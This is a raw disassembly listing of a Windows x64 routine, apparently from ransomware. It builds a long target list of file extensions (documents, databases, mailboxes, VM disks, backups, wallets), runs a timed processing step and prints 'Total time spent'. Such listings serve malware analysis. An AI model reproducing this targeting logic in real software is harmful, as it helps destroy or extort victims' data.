lea rdx, str..doc
lea rcx, [rsp + 0x338]
call fcn.140013c40
nop
mov qword [rsp + 0x360], rsi
mov qword [rsp + 0x378], rsi
mov qword [rsp + 0x380], rsi
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x360], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x360]
mov rax, qword [rsp + 0x360]
mov qword [rax], rcx
mov qword [rsp + 0x378], rsi
mov qword [rsp + 0x380], 7
mov word [rsp + 0x368], si
mov r8d, 5
lea rdx, str..docm
lea rcx, [rsp + 0x360]
call fcn.140013c40
nop
mov qword [rsp + 0x388], rsi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x3a0], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x388], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x388]
mov rax, qword [rsp + 0x388]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x3a0], xmm0
mov word [rsp + 0x390], si
mov r8d, 5
lea rdx, str..docx
lea rcx, [rsp + 0x388]
call fcn.140013c40
nop
mov qword [rsp + 0x3b0], rsi
mov qword [rsp + 0x3c8], rsi
mov qword [rsp + 0x3d0], rsi
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x3b0], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x3b0]
mov rax, qword [rsp + 0x3b0]
mov qword [rax], rcx
mov qword [rsp + 0x3c8], rsi
mov qword [rsp + 0x3d0], 7
mov word [rsp + 0x3b8], si
mov r8d, 4
lea rdx, str..mdb
lea rcx, [rsp + 0x3b0]
call fcn.140013c40
nop
mov qword [rsp + 0x3d8], rsi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x3f0], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x3d8], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x3d8]
mov rax, qword [rsp + 0x3d8]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x3f0], xmm0
mov word [rsp + 0x3e0], si
mov r8d, 4
lea rdx, str..xml
lea rcx, [rsp + 0x3d8]
call fcn.140013c40
nop
mov qword [rsp + 0x400], rsi
mov qword [rsp + 0x418], rsi
mov qword [rsp + 0x420], rsi
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x400], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x400]
mov rax, qword [rsp + 0x400]
mov qword [rax], rcx
mov qword [rsp + 0x418], rsi
mov qword [rsp + 0x420], 7
mov word [rsp + 0x408], si
mov r8d, 4
lea rdx, str..mp4
lea rcx, [rsp + 0x400]
call fcn.140013c40
nop
mov qword [rsp + 0x428], rsi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x440], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x428], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x428]
mov rax, qword [rsp + 0x428]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x440], xmm0
mov word [rsp + 0x430], si
mov r8d, 4
lea rdx, str..flv
lea rcx, [rsp + 0x428]
call fcn.140013c40
nop
mov qword [rsp + 0x450], rsi
mov qword [rsp + 0x468], rsi
mov qword [rsp + 0x470], rsi
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x450], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x450]
mov rax, qword [rsp + 0x450]
mov qword [rax], rcx
mov qword [rsp + 0x468], rsi
mov qword [rsp + 0x470], 7
mov word [rsp + 0x458], si
mov r8d, 4
lea rdx, str..tif
lea rcx, [rsp + 0x450]
call fcn.140013c40
nop
mov qword [rsp + 0x478], rsi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x490], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x478], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x478]
mov rax, qword [rsp + 0x478]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x490], xmm0
mov word [rsp + 0x480], si
mov r8d, 4
lea rdx, str..bck
lea rcx, [rsp + 0x478]
call fcn.140013c40
nop
lea rcx, [rsp + 0x4a0]
call fcn.1400139b0
nop
mov qword [rsp + 0x4b8], rsi
mov qword [rsp + 0x4c0], 7
mov word [rsp + 0x4a8], si
lea rdx, str..bco
lea rcx, [rsp + 0x4a0]
call fcn.140013c20
nop
lea rdx, str..spi
lea rcx, [rsp + 0x4c8]
call fcn.140011be0
nop
lea rdx, str..spk
lea rcx, [rsp + 0x4f0]
call fcn.140011be0
nop
lea rdx, str..htl
lea rcx, [rsp + 0x518]
call fcn.140011be0
nop
lea rdx, str..avdhx
lea rcx, [rsp + 0x540]
call fcn.140011be0
nop
lea rdx, str..xls
lea rcx, [rsp + 0x568]
call fcn.140011be0
nop
lea rdx, str..xlm
lea rcx, [rsp + 0x590]
call fcn.140011be0
nop
lea rdx, str..xlsx
lea rcx, [rsp + 0x5b8]
call fcn.140011be0
nop
lea rdx, str..xlsm
lea rcx, [rsp + 0x5e0]
call fcn.140011be0
nop
lea rdx, str..odt
lea rcx, [rsp + 0x608]
call fcn.140011be0
nop
lea rdx, str..ost
lea rcx, [rsp + 0x630]
call fcn.140011be0
nop
lea rdx, str..ppt
lea rcx, [rsp + 0x658]
call fcn.140011be0
nop
lea rdx, str..pptm
lea rcx, [rsp + 0x680]
call fcn.140011be0
nop
lea rdx, str..ppsm
lea rcx, [rsp + 0x6a8]
call fcn.140011be0
nop
lea rdx, str..pptx
lea rcx, [rsp + 0x6d0]
call fcn.140011be0
nop
lea rdx, str..sldm
lea rcx, [rsp + 0x6f8]
call fcn.140011be0
nop
lea rdx, str..csv
lea rcx, [rsp + 0x720]
call fcn.140011be0
nop
lea rdx, str..dwg
lea rcx, [rsp + 0x748]
call fcn.140011be0
nop
lea rdx, str..dxf
lea rcx, [rsp + 0x770]
call fcn.140011be0
nop
lea rdx, str..dws
lea rcx, [rsp + 0x798]
call fcn.140011be0
nop
lea rdx, str..fcs
lea rcx, [rsp + 0x7c0]
call fcn.140011be0
nop
lea rdx, str..analysis
lea rcx, [rsp + 0x7e8]
call fcn.140011be0
nop
lea rdx, str..comp
lea rcx, [rsp + 0x810]
call fcn.140011be0
nop
lea rdx, str..compensation
lea rcx, [rsp + 0x838]
call fcn.140011be0
nop
lea rdx, str..nvram
lea rcx, [rsp + 0x860]
call fcn.140011be0
nop
lea rdx, str..mrt
lea rcx, [rsp + 0x888]
call fcn.140011be0
nop
lea rdx, str..rct
lea rcx, [rsp + 0x8b0]
call fcn.140011be0
nop
lea rdx, str..pst
lea rcx, [rsp + 0x8d8]
call fcn.140011be0
nop
lea rdx, str..msg
lea rcx, [rsp + 0x900]
call fcn.140011be0
nop
lea rdx, str..pdf
lea rcx, [rsp + 0x928]
call fcn.140011be0
nop
lea rdx, str..eml
lea rcx, [rsp + 0x950]
call fcn.140011be0
nop
lea rdx, str..wab
lea rcx, [rsp + 0x978]
call fcn.140011be0
nop
lea rdx, str..mdf
lea rcx, [rsp + 0x9a0]
call fcn.140011be0
nop
lea rdx, str..ldf
lea rcx, [rsp + 0x9c8]
call fcn.140011be0
nop
lea rdx, str..myd
lea rcx, [rsp + 0x9f0]
call fcn.140011be0
nop
lea rdx, str..dbf
lea rcx, [rsp + 0xa18]
call fcn.140011be0
nop
lea rdx, str..pgsql
lea rcx, [rsp + 0xa40]
call fcn.140011be0
nop
lea rdx, str..sql
lea rcx, [rsp + 0xa68]
call fcn.140011be0
nop
lea rdx, str..sqlite
lea rcx, [rsp + 0xa90]
call fcn.140011be0
nop
lea rdx, [0x1402cb210]
lea rcx, [rsp + 0xab8]
call fcn.140011be0
nop
lea rdx, str..sqlite3
lea rcx, [rsp + 0xae0]
call fcn.140011be0
nop
lea rdx, str..db2
lea rcx, [rsp + 0xb08]
call fcn.140011be0
nop
lea rdx, str..cql
lea rcx, [rsp + 0xb30]
call fcn.140011be0
nop
lea rdx, str..rdb
lea rcx, [rsp + 0xb58]
call fcn.140011be0
nop
lea rdx, str..ova
lea rcx, [rsp + 0xb80]
call fcn.140011be0
nop
lea rdx, str..vmdk
lea rcx, [rsp + 0xba8]
call fcn.140011be0
nop
lea rdx, str..vmsd
lea rcx, [rsp + 0xbd0]
call fcn.140011be0
nop
lea rdx, str..vmx
lea rcx, [rsp + 0xbf8]
call fcn.140011be0
nop
lea rdx, str..vswp
lea rcx, [rsp + 0xc20]
call fcn.140011be0
nop
lea rdx, str..WALLET
lea rcx, [rsp + 0xc48]
call fcn.140011be0
nop
lea rdx, str..CLASS
lea rcx, [rsp + 0xc70]
call fcn.140011be0
nop
lea rdx, str..INCPAS
lea rcx, [rsp + 0xc98]
call fcn.140011be0
nop
lea rdx, str..ACCDR
lea rcx, [rsp + 0xcc0]
call fcn.140011be0
nop
lea rdx, str..ACCDT
lea rcx, [rsp + 0xce8]
call fcn.140011be0
nop
lea rdx, str..ACCDE
lea rcx, [rsp + 0xd10]
call fcn.140011be0
nop
lea rdx, str..D3DBSP
lea rcx, [rsp + 0xd38]
call fcn.140011be0
nop
lea rdx, str..BACKUPDB
lea rcx, [rsp + 0xd60]
call fcn.140011be0
nop
lea rdx, str..BACKUP
lea rcx, [rsp + 0xd88]
call fcn.140011be0
nop
lea rdx, str..IBANK
lea rcx, [rsp + 0xdb0]
call fcn.140011be0
nop
lea rdx, str..PKPASS
lea rcx, [rsp + 0xdd8]
call fcn.140011be0
nop
lea rdx, str..MDDATA
lea rcx, [rsp + 0xe00]
call fcn.140011be0
nop
lea rdx, str..MDBACKUP
lea rcx, [rsp + 0xe28]
call fcn.140011be0
nop
lea rdx, str..vmem
lea rcx, [rsp + 0xe50]
call fcn.140011be0
nop
lea rdx, str..hvd
lea rcx, [rsp + 0xe78]
call fcn.140011be0
nop
lea rdx, str..vhdx
lea rcx, [rsp + 0xea0]
call fcn.140011be0
nop
lea rdx, str..gdb
lea rcx, [rsp + 0xec8]
call fcn.140011be0
nop
lea rdx, str..cbk
lea rcx, [rsp + 0xef0]
call fcn.140011be0
nop
lea rdx, str..iso
lea rcx, [rsp + 0xf18]
call fcn.140011be0
nop
lea rdx, str..FB2
lea rcx, [rsp + 0xf40]
call fcn.140011be0
nop
lea rdx, str..WST
lea rcx, [rsp + 0xf68]
call fcn.140011be0
nop
lea rdx, str..FB25
lea rcx, [rsp + 0xf90]
call fcn.140011be0
nop
lea rdx, str..SYNCDB
lea rcx, [rsp + 0xfb8]
call fcn.140011be0
nop
lea rdx, str..LAYOUT
lea rcx, [rsp + 0xfe0]
call fcn.140011be0
nop
lea rdx, str..DAZIP
lea rcx, [rsp + 0x1008]
call fcn.140011be0
nop
lea rdx, str..ARCH00
lea rcx, [rsp + 0x1030]
call fcn.140011be0
nop
lea rdx, str..VPP_PC
lea rcx, [rsp + 0x1058]
call fcn.140011be0
nop
lea rdx, str..MCMETA
lea rcx, [rsp + 0x1080]
call fcn.140011be0
nop
lea rdx, str..MPQGE
lea rcx, [rsp + 0x10a8]
call fcn.140011be0
nop
lea rdx, str..LITEMOD
lea rcx, [rsp + 0x10d0]
call fcn.140011be0
nop
lea rdx, str..ASSET
lea rcx, [rsp + 0x10f8]
call fcn.140011be0
nop
lea rdx, str..FORGE
lea rcx, [rsp + 0x1120]
call fcn.140011be0
nop
lea rdx, str..RGSS3A
lea rcx, [rsp + 0x1148]
call fcn.140011be0
nop
lea rdx, str..WOTREPLAY
lea rcx, [rsp + 0x1170]
call fcn.140011be0
nop
lea rdx, str..MRWREF
lea rcx, [rsp + 0x1198]
call fcn.140011be0
nop
lea rdx, str..dmp
lea rcx, [rsp + 0x11c0]
call fcn.140011be0
nop
lea rdx, str..dump
lea rcx, [rsp + 0x11e8]
call fcn.140011be0
nop
lea rdx, str..rtf
lea rcx, [rsp + 0x1210]
call fcn.140011be0
nop
lea rdx, str..nst
lea rcx, [rsp + 0x1238]
call fcn.140011be0
nop
lea rdx, str..trx
lea rcx, [rsp + 0x1260]
call fcn.140011be0
nop
lea rdx, [0x1402cb550]
lea rcx, [rsp + 0x1288]
call fcn.140011be0
nop
lea rdx, str..rpt
lea rcx, [rsp + 0x12b0]
call fcn.140011be0
nop
lea rdx, [0x1402cb568]
lea rcx, [rsp + 0x12d8]
call fcn.140011be0
nop
lea rdx, str..dvf
lea rcx, [rsp + 0x1300]
call fcn.140011be0
nop
lea rdx, str..BLEND
lea rcx, [rsp + 0x1328]
call fcn.140011be0
nop
lea rdx, str..DESIGN
lea rcx, [rsp + 0x1350]
call fcn.140011be0
nop
lea rdx, str..YCBCRA
lea rcx, [rsp + 0x1378]
call fcn.140011be0
nop
lea rdx, str..SQLITEDB
lea rcx, [rsp + 0x13a0]
call fcn.140011be0
nop
lea rdx, str..SAS7BDAT
lea rcx, [rsp + 0x13c8]
call fcn.140011be0
nop
lea rdx, str..PSAFE3
lea rcx, [rsp + 0x13f0]
call fcn.140011be0
nop
lea rdx, str..ERBSQL
lea rcx, [rsp + 0x1418]
call fcn.140011be0
nop
lea rdx, str..DB_JOURNAL
lea rcx, [rsp + 0x1440]
call fcn.140011be0
nop
lea rdx, str..MONEYWELL
lea rcx, [rsp + 0x1468]
call fcn.140011be0
nop
lea rdx, str..vib
lea rcx, [rsp + 0x1490]
call fcn.140011be0
nop
lea rdx, str..vbk
lea rcx, [rsp + 0x14b8]
call fcn.140011be0
nop
lea rdx, str..vbm
lea rcx, [rsp + 0x14e0]
call fcn.140011be0
nop
lea rdx, str..bak
lea rcx, [rsp + 0x1508]
call fcn.140011be0
nop
lea rdx, str..trn
lea rcx, [rsp + 0x1530]
call fcn.140011be0
nop
lea rdx, str..rdl
lea rcx, [rsp + 0x1558]
call fcn.140011be0
nop
lea rdx, str..edb
lea rcx, [rsp + 0x1580]
call fcn.140011be0
nop
lea rdx, str..config
lea rcx, [rsp + 0x15a8]
call fcn.140011be0
nop
lea rdx, [0x1402cb6b0]
lea rcx, [rsp + 0x15d0]
call fcn.140011be0
nop
lea rdx, str..evtmp
lea rcx, [rsp + 0x15f8]
call fcn.140011be0
nop
lea rdx, str..img
lea rcx, [rsp + 0x1620]
call fcn.140011be0
nop
lea rdx, str..wbk
lea rcx, [rsp + 0x1648]
call fcn.140011be0
nop
lea rdx, str..sdb
lea rcx, [rsp + 0x1670]
call fcn.140011be0
nop
lea rdx, str..ldb
lea rcx, [rsp + 0x1698]
call fcn.140011be0
nop
lea rdx, str..mod
lea rcx, [rsp + 0x16c0]
call fcn.140011be0
nop
lea rdx, str..mkv
lea rcx, [rsp + 0x16e8]
call fcn.140011be0
nop
lea rdx, str..dat
lea rcx, [rsp + 0x1710]
call fcn.140011be0
nop
lea rdx, [0x1402cb738]
lea rcx, [rsp + 0x1738]
call fcn.140011be0
nop
lea rdx, str..cab
lea rcx, [rsp + 0x1760]
call fcn.140011be0
nop
lea rdx, str..mdbx
lea rcx, [rsp + 0x1788]
call fcn.140011be0
nop
lea rdx, str..bkf
lea rcx, [rsp + 0x17b0]
call fcn.140011be0
nop
lea rdx, str..arc
lea rcx, [rsp + 0x17d8]
call fcn.140011be0
nop
lea rdx, str..srv
lea rcx, [rsp + 0x1800]
call fcn.140011be0
nop
lea rdx, str..bkp
lea rcx, [rsp + 0x1828]
call fcn.140011be0
nop
lea rdx, str..vmk
lea rcx, [rsp + 0x1850]
call fcn.140011be0
nop
lea rdx, str..vmsn
lea rcx, [rsp + 0x1878]
call fcn.140011be0
nop
lea rdx, str..nvran
lea rcx, [rsp + 0x18a0]
call fcn.140011be0
nop
lea rdx, str..stl
lea rcx, [rsp + 0x18c8]
call fcn.140011be0
nop
lea rdx, str..tib
lea rcx, [rsp + 0x18f0]
call fcn.140011be0
nop
lea rdx, str..p7m
lea rcx, [rsp + 0x1918]
call fcn.140011be0
nop
lea rdx, str..vblob
lea rcx, [rsp + 0x1940]
call fcn.140011be0
nop
lea rdx, str..vindex
lea rcx, [rsp + 0x1968]
call fcn.140011be0
nop
lea rdx, str..vslice
lea rcx, [rsp + 0x1990]
call fcn.140011be0
nop
lea rdx, str..ipt
lea rcx, [rsp + 0x19b8]
call fcn.140011be0
nop
lea rdx, str..iam
lea rcx, [rsp + 0x19e0]
call fcn.140011be0
nop
lea rdx, str..dnf
lea rcx, [rsp + 0x1a08]
call fcn.140011be0
nop
lea rdx, str..ndf
lea rcx, [rsp + 0x1a30]
call fcn.140011be0
nop
lea rax, [rsp + 0x130]
mov qword [rsp + 0xa0], rax
lea rax, [rsp + 0x1a58]
mov qword [rsp + 0xa8], rax
movaps xmm0, xmmword [rsp + 0xa0]
movdqa xmmword [rsp + 0xa0], xmm0
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x1b48]
call fcn.140011360
nop
lea r9, [fcn.140006f60]
mov edx, 0x28
lea r8d, [rdx + 0x79]
lea rcx, [rsp + 0x130]
call fcn.140068740
lea rcx, [rsp + 0x1c48]
call fcn.14002d550
lea rcx, [rsp + 0x1c48]
call fcn.14002a960
nop
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x1a60], rax
lea rdx, [rsp + 0x1bd0]
lea rcx, [rsp + 0x50]
call fcn.140012330
mov rdi, rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0xd0], rax
lea rdx, [rsp + 0x1bf8]
lea rcx, [rsp + 0x78]
call fcn.140012330
mov rbx, rax
lea r8, [rsp + 0x1af8]
lea rdx, [rsp + 0xf8]
call fcn.140010f00
nop
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rbx
mov r9, rax
lea r8, [rsp + 0x1b48]
lea rdx, [rsp + 0x1ab0]
lea rcx, [rsp + 0x1c48]
call fcn.140020ab0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
sub ecx, esi
mov eax, 0x10624dd3
mul ecx
shr edx, 6
lea rcx, [rsp + 0x78]
call fcn.140006d60
nop
mov r8, rax
lea rdx, str.___Total_time_spent:
lea rcx, [rsp + 0x50]
call fcn.140015730
nop
lea r8, [0x1402cb86c]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.140025ea0
mov rcx, rax
call fcn.1400079e0
nop
lea rcx, [rsp + 0x50]
call fcn.1400046a0
nop
lea rcx, [rsp + 0x78]
call fcn.1400046a0
nop
call fcn.14000dab0
nop
call fcn.140010210
nop
call fcn.14002a730
nop
lea rdx, [0x1402cb908]
lea rcx, [rsp + 0xf8]
call fcn.140011be0
mov rdx, rax
call fcn.1400104f0
nop
mov ecx, 0xf4240
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rsp + 0x1c48]
call fcn.14002ab40
nop
lea rcx, [rsp + 0x1b48]
call fcn.140011330
nop
lea rcx, [rsp + 0x1ab0]
call fcn.140011330
nop
lea rcx, [rsp + 0x1a68]
call fcn.140011330
nop
lea rcx, [rsp + 0x1c20]
call fcn.1400046a0
nop
lea rcx, [rsp + 0x1b20]
call fcn.1400046a0
nop
lea rcx, [rsp + 0x1bd0]
call fcn.1400046a0
nop
lea rcx, [rsp + 0x1bf8]
call fcn.1400046a0
nop
lea rcx, [rsp + 0x1ad0]
call fcn.1400046a0
nop
lea rcx, [rsp + 0x1af8]
call fcn.1400046a0
nop
lea rcx, [rsp + 0x1a88]
call fcn.1400046a0
nop
lea rcx, [rsp + 0x1b70]
call fcn.140007e60
xor eax, eax
mov rcx, qword [rsp + 0x2280]
xor rcx, rsp
call fcn.1400681e0
lea r11, [rsp + 0x2290]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret